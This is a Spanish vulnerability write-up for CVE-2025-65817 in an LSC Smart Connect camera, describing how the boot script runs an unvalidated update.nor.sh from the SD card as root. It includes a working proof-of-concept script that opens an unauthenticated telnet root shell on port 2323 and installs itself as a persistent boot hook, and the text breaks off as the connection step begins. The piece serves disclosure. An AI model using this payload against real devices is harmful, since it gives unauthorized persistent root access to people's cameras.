CVE-2025-65817

Informe de vulnerabilidad en la cámara LSC Smart Connect

La vulnerabilidad encontrada consiste en explotar el sistema de actualización en start_app.sh, más precisamente a través del montaje de la tarjeta SD y del archivo update.nor.sh.

Variables de configuración

# routines of sd-card
# /mnt is for backword compatible
SDC_DIR=/mnt
SDC_HOOK=$SDC_DIR/update.nor.sh
SDC_FLAG_DEBUG=$SDC_DIR/__ipc_debug.ini
TMP_HOOK=/tmp/update.nor.sh
SENSOR_ISP_HOOK=$SDC_DIR/ISP/*t23.bin
# debug core-dump
WHERE_COREDMP="/mnt/sdc/coredmp"
WHERE_EXEC="/usr/local/bin/doraemon"

La sección local/sbin/start_app.sh:50–99 confía ciegamente en cualquier archivo llamado update.nor.sh ubicado en la tarjeta SD. Durante el proceso de arranque, el script:

• monta la tarjeta SD,
• copia update.nor.sh a /tmp/update.nor.sh,
• no realiza ninguna validación de su contenido, integridad, permisos o propiedad.

Más adelante en la secuencia de arranque (local/sbin/start_app.sh:108–129), el archivo copiado:

• se marca como ejecutable,
• se ejecuta como root,
• se ejecuta pasando como argumento el punto de montaje de la tarjeta SD.

Esta ejecución ocurre antes de que el ipc_service principal se inicie, lo que significa que el script se ejecuta en un entorno de máximos privilegios donde ya están disponibles las utilidades de red, las funciones de watchdog y los ayudantes de actualización.

Utilidades disponibles

El exploit consiste en crear un shell y abrir un puerto a través de telnetd, que está presente en la cámara:

/bin # busybox --list
[...]
sh
sleep
swapoff
syslogd
tail
tar
tcpsvd
telnetd
[...]

Prueba de concepto

Solo necesitamos escribir un script .sh en la tarjeta SD y llamarlo update.nor.sh.

El exploit que elijo es:

#!/bin/sh

telnetd -l /bin/sh -p 2323 &

echo "Telnet start by update.nor.sh" > /tmp/exploit_success

cp /mnt/update.nor.sh /mnt/config/hook-boot.sh

date > /tmp/exploit_time

Confirmamos que el puerto está abierto.

Nos conectamos a través de telnet: